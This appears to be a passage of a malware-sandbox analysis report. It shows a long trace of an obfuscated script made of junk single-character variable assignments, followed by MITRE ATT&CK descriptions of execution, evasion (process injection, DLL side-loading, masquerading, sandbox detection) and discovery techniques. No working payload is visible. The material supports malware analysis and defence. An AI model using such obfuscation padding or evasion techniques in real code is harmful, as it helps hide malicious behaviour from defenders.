291	khnqpu = "t";
292	khnqpu = "H";
293	khnqpu = "Z";
294	khnqpu = "o";
295	khnqpu = "t";
296	khnqpu = "b";
297	hdjklb = "a";
298	hdjklb = "G";
299	hdjklb = "Q";
300	hdjklb = "A";
301	hdjklb = "X";
302	hdjklb = "g";
303	hdjklb = "A";
304	hdjklb = "U";
305	hdjklb = "o";
306	hdjklb = "N";
307	hdjklb = "g";
308	hdjklb = "u";
309	hdjklb = "Y";
310	hdjklb = "Z";
311	hdjklb = "t";
312	hdjklb = "Y";
313	hdjklb = "A";
314	hdjklb = "S";
315	hdjklb = "z";
316	hdjklb = "a";
317	hdjklb = "i";
318	hdjklb = "p";
319	hdjklb = "O";
320	hdjklb = "P";
321	hdjklb = "A";
322	hdjklb = "H";
323	hdjklb = "X";
324	hdjklb = "d";
325	hdjklb = "O";
326	hdjklb = "n";
327	hdjklb = "Y";
328	hdjklb = "t";
329	hdjklb = "q";
330	hdjklb = "P";
331	hdjklb = "Y";
332	dhlrmty = "W";
333	dhlrmty = "s";
334	dhlrmty = "a";
335	dhlrmty = "C";
336	dhlrmty = "I";
337	dhlrmty = "f";
338	dhlrmty = "i";
339	dhlrmty = "R";
340	dhlrmty = "x";
341	dhlrmty = "V";
342	dhlrmty = "a";
343	dhlrmty = "j";
344	dhlrmty = "v";
345	dhlrmty = "h";
346	npqthzcgx = "M";
347	npqthzcgx = "Z";
348	npqthzcgx = "r";
349	npqthzcgx = "T";
350	npqthzcgx = "M";
351	npqthzcgx = "G";
352	npqthzcgx = "I";
353	npqthzcgx = "T";
354	npqthzcgx = "J";
355	npqthzcgx = "V";
356	npqthzcgx = "b";
357	npqthzcgx = "Y";
358	npqthzcgx = "l";
359	npqthzcgx = "-";
360	ktqqssuug = "w";
361	nfsazgs = "J";
362	nfsazgs = "G";
363	nfsazgs = "C";
364	nfsazgs = "R";
365	nfsazgs = "t";
366	nfsazgs = "p";
367	nfsazgs = "m";
368	nfsazgs = "V";
369	nfsazgs = "S";
370	nfsazgs = "n";
371	nfsazgs = "n";
372	nfsazgs = "V";
373	nfsazgs = "S";
374	nfsazgs = "M";
375	nfsazgs = "y";
376	nfsazgs = "s";
377	nfsazgs = "k";
378	nfsazgs = "Q";
379	nfsazgs = "f";
380	nfsazgs = "Q";
381	nfsazgs = "E";
382	nfsazgs = "y";
383	nfsazgs = "k";
384	nfsazgs = "d";
385	nfsazgs = "y";
386	nfsazgs = "P";
387	yshkc = "s";
388	yshkc = "N";
389	yshkc = "S";
390	yshkc = "p";
391	yshkc = "o";
392	yshkc = "F";
393	yshkc = "a";
394	yshkc = "P";
395	yshkc = "l";
396	yshkc = "l";
397	yshkc = "u";
398	yshkc = "h";
399	yshkc = "D";
400	yshkc = "N";
401	yshkc = "B";
402	yshkc = "W";
403	yshkc = "m";
404	yshkc = "z";
405	yshkc = "Q";
406	yshkc = "U";
407	yshkc = "M";
408	yshkc = "V";
409	yshkc = "O";
410	yshkc = "n";
411	yshkc = "d";
412	yshkc = "O";
413	yshkc = "Y";
414	yshkc = "T";
415	yshkc = "m";
416	yshkc = "G";
417	yshkc = "g";
418	yshkc = "q";
419	yshkc = "B";
420	yshkc = "j";
421	yshkc = "V";
422	yshkc = "C";
423	rnslat = "g";
424	rnslat = "w";
425	rnslat = "j";
426	rnslat = "a";
427	rnslat = "W";
428	tzvda = "n";
429	tzvda = "W";
430	tzvda = "w";
431	tzvda = "s";
432	tzvda = "f";
433	tzvda = "X";
434	tzvda = "r";
435	tzvda = "a";
436	tzvda = "G";
437	tzvda = "u";
438	tzvda = "e";
439	tzvda = "F";
440	tzvda = "P";
441	tzvda = "F";
442	tzvda = "t";
443	tzvda = "p";
444	tzvda = "X";
445	tzvda = "a";
446	tzvda = "k";
447	tzvda = "r";
448	tzvda = "G";
449	tzvda = "w";
450	tzvda = "Y";
451	tzvda = "M";
452	tzvda = "m";
453	gotjiq = "O";
454	gotjiq = "x";
455	gotjiq = "X";
456	gotjiq = "O";
457	gotjiq = "p";
458	gotjiq = "B";
459	gotjiq = "V";
460	gotjiq = "V";
461	gotjiq = "T";
462	gotjiq = "y";
463	gotjiq = "s";
464	gotjiq = "p";
465	gotjiq = "u";
466	gotjiq = "N";
467	gotjiq = "T";
468	gotjiq = "C";
469	gotjiq = "x";
470	gotjiq = "d";
471	gotjiq = "V";
472	gotjiq = "i";
473	gotjiq = "K";
474	gotjiq = "O";
475	gotjiq = "B";
476	gotjiq = "Y";
477	gotjiq = "S";
478	zsefgm = "E";
479	zsefgm = "r";
480	zsefgm = "l";
481	zsefgm = "i";
482	zsefgm = "p";
483	zsefgm = "b";
484	zsefgm = "o";
485	zsefgm = "b";
486	zsefgm = "/";
487	rqymt = "Q";
488	rqymt = "I";
489	rqymt = "o";
490	rqymt = "u";
491	rqymt = "c";
492	rqymt = "L";
493	rqymt = "g";
494	rqymt = "X";
495	rqymt = "i";
496	rqymt = "E";
497	rqymt = "H";
498	rqymt = "B";
499	rqymt = "a";
500	rqymt = "i";
501	rqymt = "l";
502	rqymt = "i";
503	rqymt = "t";
504	rqymt = "p";
505	rqymt = "F";
506	rqymt = "c";
507	rqymt = "q";
508	rqymt = "T";
509	rqymt = "I";
510	rqymt = "H";
511	rqymt = "X";
512	rqymt = "y";
513	rqymt = "u";
514	rqymt = "G";
515	rqymt = "e";
516	rqymt = "I";
517	rqymt = "R";
518	rqymt = "Y";
519	rqymt = "j";
520	rqymt = "h";
521	rqymt = "s";
522	rqymt = "&";
523	lnxwgdbje = "T";
524	lnxwgdbje = "T";
525	lnxwgdbje = "l";
526	lnxwgdbje = "x";
527	lnxwgdbje = "c";
528	lnxwgdbje = "Q";
529	lnxwgdbje = "w";
530	lnxwgdbje = "y";
531	lnxwgdbje = "m";
532	lnxwgdbje = "x";
533	lnxwgdbje = "C";
534	lnxwgdbje = "c";
535	lnxwgdbje = "d";
536	bgcpjioyg = "f";
537	bgcpjioyg = "t";
538	bgcpjioyg = "u";
539	bgcpjioyg = "I";
540	bgcpjioyg = "%";
541	vfzaiegs = "l";
542	vfzaiegs = "l";
543	vfzaiegs = "u";
544	vfzaiegs = "B";
545	vfzaiegs = "x";
546	vfzaiegs = "x";
547	vfzaiegs = "J";
548	vfzaiegs = "p";
549	vfzaiegs = "w";
550	vfzaiegs = "k";
551	vfzaiegs = "m";
552	vfzaiegs = "W";
553	vfzaiegs = "K";
554	xewsfcdm = "X";
555	xewsfcdm = "z";
556	xewsfcdm = "W";
557	xewsfcdm = "j";
558	xewsfcdm = "e";
559	xewsfcdm = "x";
560	xewsfcdm = "D";
561	xewsfcdm = "U";
562	xewsfcdm = "c";
563	xewsfcdm = "s";
564	xewsfcdm = "L";
565	xewsfcdm = "s";
566	ncbgirxyi = "c";
567	ncbgirxyi = "o";
568	ncbgirxyi = "u";
569	ncbgirxyi = "r";
570	ncbgirxyi = "v";
571	ncbgirxyi = "j";
572	umstn = "F";
573	umstn = "l";
574	umstn = "m";
575	umstn = "N";
576	umstn = "B";
577	umstn = "x";
578	umstn = "l";
579	umstn = "x";
580	umstn = "q";
581	umstn = "Z";
582	umstn = "L";
583	umstn = "A";
584	umstn = "B";
585	umstn = "i";
586	umstn = "X";
587	umstn = "z";
588	umstn = "f";
589	umstn = "d";
590	umstn = "q";
591	umstn = "n";
592	hxspvpqc = "D";
593	hxspvpqc = "q";
594	hxspvpqc = "t";
595	hxspvpqc = "h";
596	hxspvpqc = "z";
597	hxspvpqc = "q";
598	hxspvpqc = "u";
599	hxspvpqc = "b";
600	hxspvpqc = "D";
601	hxspvpqc = "L";
602	hxspvpqc = "H";
603	hxspvpqc = "J";
604	hxspvpqc = "o";
605	hxspvpqc = "G";
606	hxspvpqc = "A";
607	hxspvpqc = "C";
608	hxspvpqc = "U";
609	hxspvpqc = "o";
610	hxspvpqc = "r";
611	hxspvpqc = "q";
612	hxspvpqc = "\\";
613	dzwlnxkh = "v";
614	dzwlnxkh = "h";
615	dzwlnxkh = "a";
616	dzwlnxkh = "t";
617	dzwlnxkh = "s";
618	dzwlnxkh = "t";
619	dzwlnxkh = "v";
620	dzwlnxkh = "u";
621	dzwlnxkh = "c";
622	dzwlnxkh = "A";
623	dzwlnxkh = "C";
624	dzwlnxkh = "a";
625	dzwlnxkh = "U";
626	dzwlnxkh = "m";
627	dzwlnxkh = "b";
628	dzwlnxkh = "g";
629	dzwlnxkh = "X";
630	dzwlnxkh = "I";
631	dzwlnxkh = "G";
632	dzwlnxkh = "Y";
633	dzwlnxkh = "S";
634	dzwlnxkh = "t";
635	dzwlnxkh = "r";
636	dzwlnxkh = "t";
637	dzwlnxkh = "M";
638	dzwlnxkh = "w";
639	dzwlnxkh = "G";
640	dzwlnxkh = "O";
641	dzwlnxkh = "I";
642	dzwlnxkh = "N";
643	dzwlnxkh = "P";
644	dzwlnxkh = "A";
645	dzwlnxkh = "V";
646	dzwlnxkh = "d";
647	dzwlnxkh = "e";
648	dzwlnxkh = "R";
649	dzwlnxkh = "T";
650	dzwlnxkh = "o";
651	htuuzcgm = "U";
652	htuuzcgm = "t";
653	htuuzcgm = "p";
654	htuuzcgm = "m";
655	htuuzcgm = "W";
656	htuuzcgm = "M";
657	htuuzcgm = "L";
658	htuuzcgm = "Q";
659	htuuzcgm = "k";
660	htuuzcgm = "O";
661	htuuzcgm = "C";
662	htuuzcgm = "j";
663	htuuzcgm = "T";
664	htuuzcgm = "r";
665	htuuzcgm = "u";
666	htuuzcgm = "M";
667	htuuzcgm = "j";
668	htuuzcgm = "N";
669	htuuzcgm = "I";
670	htuuzcgm = "t";
671	htuuzcgm = "Y";
672	htuuzcgm = "T";
673	htuuzcgm = "D";
674	htuuzcgm = "Q";
675	htuuzcgm = "J";
676	htuuzcgm = "t";
677	htuuzcgm = "s";
678	htuuzcgm = "X";
679	htuuzcgm = "w";
680	htuuzcgm = "P";
681	htuuzcgm = "N";
682	htuuzcgm = "P";
683	htuuzcgm = "U";
684	htuuzcgm = "u";
685	htuuzcgm = "T";
686	htuuzcgm = "q";
687	htuuzcgm = "q";
688	htuuzcgm = "Z";
689	htuuzcgm = "c";
690	htuuzcgm = "y";
691	htuuzcgm = "i";
692	htuuzcgm = "E";
693	lueivf = "I";
694	lueivf = "1";
695	epbkmvivl = "U";
696	epbkmvivl = "f";
697	epbkmvivl = "x";
698	epbkmvivl = "Z";
699	epbkmvivl = "j";
700	epbkmvivl = "w";
701	epbkmvivl = "L";
702	epbkmvivl = "w";
703	epbkmvivl = "i";
704	epbkmvivl = "r";
705	epbkmvivl = "C";
706	epbkmvivl = "h";
707	epbkmvivl = "T";
708	epbkmvivl = "v";
709	epbkmvivl = "H";
710	epbkmvivl = "m";
711	epbkmvivl = "G";
712	epbkmvivl = "T";
713	epbkmvivl = "j";
714	epbkmvivl = "g";
715	epbkmvivl = "Z";
716	epbkmvivl = "L";
717	epbkmvivl = "H";
718	epbkmvivl = "A";
719	epbkmvivl = "N";
720	epbkmvivl = "U";
721	epbkmvivl = "Z";
722	epbkmvivl = "M";
723	epbkmvivl = "G";
724	epbkmvivl = "N";
725	epbkmvivl = "f";
726	epbkmvivl = "m";
727	epbkmvivl = "S";
728	epbkmvivl = "n";
729	epbkmvivl = "M";
730	epbkmvivl = "X";
731	epbkmvivl = "B";
732	epbkmvivl = "V";
733	epbkmvivl = "o";
734	epbkmvivl = "S";
735	epbkmvivl = "Z";
736	epbkmvivl = "R";
737	epbkmvivl = "U";
738	epbkmvivl = "U";
739	epbkmvivl = ":";
740	eceiu = "c";
741	eceiu = "X";
742	eceiu = "s";
743	eceiu = "l";
744	eceiu = "p";
745	eceiu = "F";
746	eceiu = "A";
747	eceiu = "M";
748	eceiu = "O";
749	eceiu = "T";
750	eceiu = "n";
751	eceiu = "s";
752	eceiu = "o";
753	eceiu = "Q";
754	eceiu = "M";
755	eceiu = "A";
756	eceiu = "h";
757	eceiu = "m";
758	eceiu = "A";
759	eceiu = "v";
760	eceiu = "4";
761	wfgqya = "A";
762	wfgqya = "o";
763	wfgqya = "b";
764	wfgqya = "J";
765	wfgqya = "v";
766	wfgqya = "Q";
767	wfgqya = "s";
768	wfgqya = "l";
769	wfgqya = "Z";
770	wfgqya = "v";
771	wfgqya = "Z";
772	wfgqya = "m";
773	wfgqya = "m";
774	wfgqya = "c";
775	wfgqya = "Y";
776	wfgqya = "S";
777	wfgqya = "R";
778	wfgqya = "n";
779	wfgqya = "j";
780	wfgqya = "Q";
781	wfgqya = "G";
782	wfgqya = "t";
783	wfgqya = " ";
784	gxjeyydry = "U";
785	gxjeyydry = "K";
786	gxjeyydry = "S";
787	gxjeyydry = "i";
788	gxjeyydry = "X";
789	gxjeyydry = "H";
790	gxjeyydry = "p";
791	gxjeyydry = "k";
792	gxjeyydry = "r";
793	gxjeyydry = "b";
794	gxjeyydry = "W";
795	gxjeyydry = "o";
796	gxjeyydry = "U";
797	gxjeyydry = "n";
798	gxjeyydry = "z";
799	gxjeyydry = "Y";
800	gxjeyydry = "o";
801	gxjeyydry = "o";
802	gxjeyydry = "f";
803	gxjeyydry = "a";
804	gxjeyydry = "c";
805	gxjeyydry = "q";
806	gxjeyydry = "j";
807	gxjeyydry = "R";
808	gxjeyydry = "D";
809	gxjeyydry = "I";
810	gxjeyydry = "G";
811	gxjeyydry = "i";
812	gxjeyydry = "L";
813	gxjeyydry = "B";
814	gxjeyydry = "b";
815	gxjeyydry = "T";
816	mvgqmxxf = "G";
817	mvgqmxxf = "K";
818	mvgqmxxf = "P";
819	mvgqmxxf = "x";
820	mvgqmxxf = "C";
821	mvgqmxxf = "O";
822	herbbta = "Z";
823	herbbta = "V";
824	herbbta = "O";
825	herbbta = "D";
826	herbbta = "C";
827	herbbta = "L";
828	herbbta = "m";
829	herbbta = "D";
830	herbbta = "n";
831	herbbta = "m";
832	herbbta = "X";
833	herbbta = "z";
834	herbbta = "I";
835	herbbta = "E";
836	herbbta = "F";
837	herbbta = "W";
838	herbbta = "D";
839	herbbta = "T";
840	herbbta = "e";
841	herbbta = "Z";
842	herbbta = "p";
843	herbbta = "S";
844	herbbta = "v";
845	herbbta = "t";
846	xtszay = "O";
847	xtszay = "G";
848	xtszay = "P";
849	xtszay = "b";
850	xtszay = "S";
851	xtszay = "w";
852	xtszay = "B";
853	xtszay = "j";
854	xtszay = "u";
855	xtszay = "S";
856	xtszay = "u";
857	xtszay = "u";
858	xtszay = "Y";
859	xtszay = "w";
860	xtszay = "x";
861	xtszay = "h";
862	xtszay = "p";
863	xtszay = "G";
864	xtszay = "x";
865	xtszay = "Y";
866	xtszay = "w";
867	xtszay = "c";
868	xtszay = "I";
869	xtszay = "d";
870	xtszay = "x";
871	xtszay = "m";
872	xtszay = "A";
873	xtszay = "Z";
874	xtszay = "z";
875	xtszay = "a";
876	xtszay = "J";
877	xtszay = "p";
878	xtszay = "W";
879	xtszay = "d";
880	xtszay = "G";
881	xtszay = "a";
882	btxgjsu = "O";
883	btxgjsu = "d";
884	btxgjsu = "Q";
885	btxgjsu = "F";
886	btxgjsu = "c";
887	btxgjsu = "q";
888	btxgjsu = "z";
889	btxgjsu = "H";
890	btxgjsu = "j";
891	btxgjsu = "H";
892	btxgjsu = "s";
893	btxgjsu = "c";
894	ezfloxaev = "H";
895	ezfloxaev = "V";
896	ezfloxaev = "l";
897	ezfloxaev = "z";
898	ezfloxaev = "V";
899	ezfloxaev = "U";
900	ezfloxaev = "r";
901	ezfloxaev = "s";
902	ezfloxaev = "U";
903	ezfloxaev = "g";
904	ezfloxaev = "j";
905	ezfloxaev = "r";
906	ezfloxaev = "x";
907	ezfloxaev = "T";
908	ezfloxaev = "s";
909	ezfloxaev = "m";
910	ezfloxaev = "y";
911	ezfloxaev = "G";
912	ezfloxaev = "w";
913	ezfloxaev = "d";
914	ezfloxaev = "G";
915	ezfloxaev = "W";
916	ezfloxaev = "I";
917	ezfloxaev = "B";
918	ezfloxaev = "q";
919	ezfloxaev = "M";
920	ezfloxaev = "L";
921	ezfloxaev = "B";
922	ezfloxaev = "E";
923	ezfloxaev = "g";
924	ezfloxaev = "F";
925	ezfloxaev = "F";
926	vphicw = "R";
927	vphicw = "j";
928	vphicw = "M";
929	vphicw = "K";
930	vphicw = "D";
931	vphicw = "D";
932	vphicw = "b";
933	vphicw = "z";
934	vphicw = "F";
935	vphicw = "p";
936	vphicw = "P";
937	vphicw = "P";
938	vphicw = "o";
939	vphicw = "R";
940	vphicw = "h";
941	vphicw = "H";
942	vphicw = "A";
943	vphicw = "X";
944	vphicw = "X";
945	vphicw = "P";
946	vphicw = "n";
947	vphicw = "a";
948	vphicw = "R";
949	vphicw = "r";
950	vphicw = "X";
951	vphicw = "e";
952	vphicw = "Q";
953	vphicw = "_";
954	hdvsmslrv = "Y";
955	hdvsmslrv = ".";
956	omogwba = "g";
957	omogwba = "w";
958	omogwba = "B";
959	omogwba = "f";
960	omogwba = "L";
961	omogwba = "o";
962	omogwba = "o";
963	omogwba = "a";
964	omogwba = "a";
965	omogwba = "Z";
966	omogwba = "F";
967	omogwba = "B";
968	omogwba = "R";
969	omogwba = "f";
970	omogwba = "U";
971	omogwba = "l";
972	omogwba = "q";
973	omogwba = "f";
974	omogwba = "z";
975	omogwba = "o";
976	omogwba = "Y";
977	omogwba = "t";
978	omogwba = "C";
979	omogwba = "P";
980	omogwba = "P";
981	omogwba = "D";
982	omogwba = "q";
983	omogwba = "0";
984	okjdbroy = "E";
985	okjdbroy = "S";
986	okjdbroy = "o";
987	okjdbroy = "h";
988	okjdbroy = "t";
989	okjdbroy = "L";
990	omflm = "L";
991	omflm = "c";
992	omflm = "f";
993	omflm = "Y";
994	omflm = "T";
995	omflm = "a";
996	omflm = "X";
997	omflm = "U";
998	omflm = "v";
999	omflm = "y";
1000	omflm = "C";
1001	omflm = "V";
1002	omflm = "m";
1003	omflm = "T";
1004	omflm = "m";
1005	omflm = "X";
1006	omflm = "m";
1007	omflm = "y";
1008	omflm = "D";
1009	omflm = "U";
1010	omflm = "n";
1011	omflm = "H";
1012	omflm = "y";
1013	omflm = "U";
1014	omflm = "s";
1015	omflm = "C";
1016	omflm = "m";
1017	omflm = "X";
1018	omflm = "f";
1019	omflm = "v";
1020	omflm = "Q";
1021	omflm = "B";
1022	omflm = "c";
1023	omflm = "P";
1024	omflm = "V";
1025	omflm = "q";
1026	omflm = "c";
1027	omflm = "M";
1028	omflm = "Z";
1029	omflm = "z";
1030	omflm = "u";
1031	omflm = "R";
1032	omflm = "t";
1033	omflm = "Q";
1034	wmwjk = "k";
1035	wmwjk = "U";
1036	wmwjk = "G";
1037	wmwjk = "u";
1038	wmwjk = "N";
1039	wmwjk = "R";
1040	wmwjk = "k";
1041	wmwjk = "l";
1042	wmwjk = "r";
1043	wmwjk = "L";
1044	wmwjk = "D";
1045	wmwjk = "V";
1046	wmwjk = "D";
1047	wmwjk = "l";
1048	wmwjk = "k";
1049	wmwjk = "p";
1050	wmwjk = "u";
1051	wmwjk = "I";
1052	wmwjk = "G";
1053	wmwjk = "f";
1054	wmwjk = "J";
1055	wmwjk = "p";
1056	wmwjk = "x";
1057	wmwjk = "k";
1058	wmwjk = "R";
1059	wmwjk = "V";
1060	wmwjk = "b";
1061	wmwjk = "F";
1062	wmwjk = "I";
1063	wmwjk = "J";
1064	wmwjk = "r";
1065	wmwjk = "t";
1066	wmwjk = "O";
1067	wmwjk = "v";
1068	wmwjk = "r";
1069	wmwjk = "X";
1070	wmwjk = "b";
1071	wmwjk = "g";
1072	gfwzznv = "T";
1073	gfwzznv = "V";
1074	gfwzznv = "A";
1075	gfwzznv = "P";
1076	gfwzznv = "j";
1077	gfwzznv = "i";
1078	gfwzznv = "a";
1079	gfwzznv = "s";
1080	gfwzznv = "U";
1081	gfwzznv = "Z";
1082	gfwzznv = "j";
1083	gfwzznv = "K";
1084	gfwzznv = "q";
1085	gfwzznv = "T";
1086	gfwzznv = "J";
1087	gfwzznv = "O";
1088	gfwzznv = "y";
1089	gfwzznv = "L";
1090	gfwzznv = "h";
1091	gfwzznv = "S";
1092	gfwzznv = "N";
1093	gfwzznv = "d";
1094	gfwzznv = "j";
1095	gfwzznv = "M";
1096	gfwzznv = "x";
1097	gfwzznv = "M";
1098	gfwzznv = "2";
1099	plooe = "Z";
1100	plooe = "h";
1101	plooe = "T";
1102	plooe = "q";
1103	plooe = "b";
1104	plooe = "H";
1105	plooe = "q";
1106	plooe = "A";
1107	plooe = "Q";
1108	plooe = "P";
1109	plooe = "M";
1110	plooe = "n";
1111	plooe = "X";
1112	plooe = "M";
1113	plooe = "b";
1114	plooe = "P";
1115	plooe = "H";
1116	plooe = "l";
1117	plooe = "K";
1118	plooe = "v";
1119	plooe = "s";
1120	plooe = "w";
1121	plooe = "l";
1122	plooe = "m";
1123	plooe = "D";
1124	plooe = "N";
1125	plooe = "H";
1126	plooe = "I";
1127	oziwhf = "F";
1128	oziwhf = "O";
1129	oziwhf = "n";
1130	oziwhf = "C";
1131	oziwhf = "m";
1132	oziwhf = "G";
1133	oziwhf = "L";
1134	oziwhf = "a";
1135	oziwhf = "i";
1136	oziwhf = "O";
1137	oziwhf = "a";
1138	oziwhf = "o";
1139	oziwhf = "C";
1140	oziwhf = "r";
1141	oziwhf = "z";
1142	oziwhf = "S";
1143	oziwhf = "k";
1144	oziwhf = "J";
1145	oziwhf = "u";
1146	oziwhf = "d";
1147	oziwhf = "K";
1148	oziwhf = "S";
1149	oziwhf = "d";
1150	oziwhf = "B";
1151	oziwhf = "h";
1152	oziwhf = "z";
1153	oziwhf = "Z";
1154	oziwhf = "z";
1155	oziwhf = "z";
1156	oziwhf = "d";
1157	oziwhf = "j";
1158	oziwhf = "l";
1159	oziwhf = "p";
1160	vzguadnjc = "f";
1161	vzguadnjc = "y";
1162	vzguadnjc = "G";
1163	vzguadnjc = "C";
1164	vzguadnjc = "m";
1165	vzguadnjc = "m";
1166	vzguadnjc = "h";
1167	vzguadnjc = "w";
1168	vzguadnjc = "s";
1169	vzguadnjc = "A";
1170	vzguadnjc = "P";
1171	vzguadnjc = "a";
1172	vzguadnjc = "B";
1173	vzguadnjc = "k";
1174	vzguadnjc = "E";
1175	vzguadnjc = "p";
1176	vzguadnjc = "q";
1177	vzguadnjc = "F";
1178	vzguadnjc = "I";
1179	vzguadnjc = "o";
1180	vzguadnjc = "z";
1181	vzguadnjc = "N";
1182	vzguadnjc = "o";
1183	vzguadnjc = "z";
1184	vzguadnjc = "g";
1185	vzguadnjc = "J";
1186	vzguadnjc = "F";
1187	vzguadnjc = "H";
1188	vzguadnjc = "h";
1189	vzguadnjc = "F";
1190	vzguadnjc = "c";
1191	vzguadnjc = "g";
1192	vzguadnjc = "W";
1193	vzguadnjc = "l";
1194	vzguadnjc = "S";
1195	vzguadnjc = "K";
1196	vzguadnjc = "g";
1197	vzguadnjc = "R";
1198	vzguadnjc = "q";
1199	hngmgx = "s";
1200	hngmgx = "K";
1201	hngmgx = "G";
1202	hngmgx = "m";
1203	hngmgx = "E";
1204	hngmgx = "D";
1205	hngmgx = "k";
1206	hngmgx = "v";
1207	hngmgx = "u";
1208	hngmgx = "s";
1209	hngmgx = "8";
1210	fyiyj = "u";
1211	ghffmqp = "Y";
1212	ghffmqp = "h";
1213	ghffmqp = "n";
1214	ghffmqp = "P";
1215	ghffmqp = "I";
1216	ghffmqp = "D";
1217	ghffmqp = "p";
1218	ghffmqp = "K";
1219	ghffmqp = "d";
1220	ghffmqp = "F";
1221	ghffmqp = "O";
1222	ghffmqp = "z";
1223	ghffmqp = "o";
1224	ghffmqp = "V";
1225	ghffmqp = "T";
1226	ghffmqp = "D";
1227	ghffmqp = "n";
1228	ghffmqp = "3";
1229	sfvihdyxn ( );	sfvihdyxn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
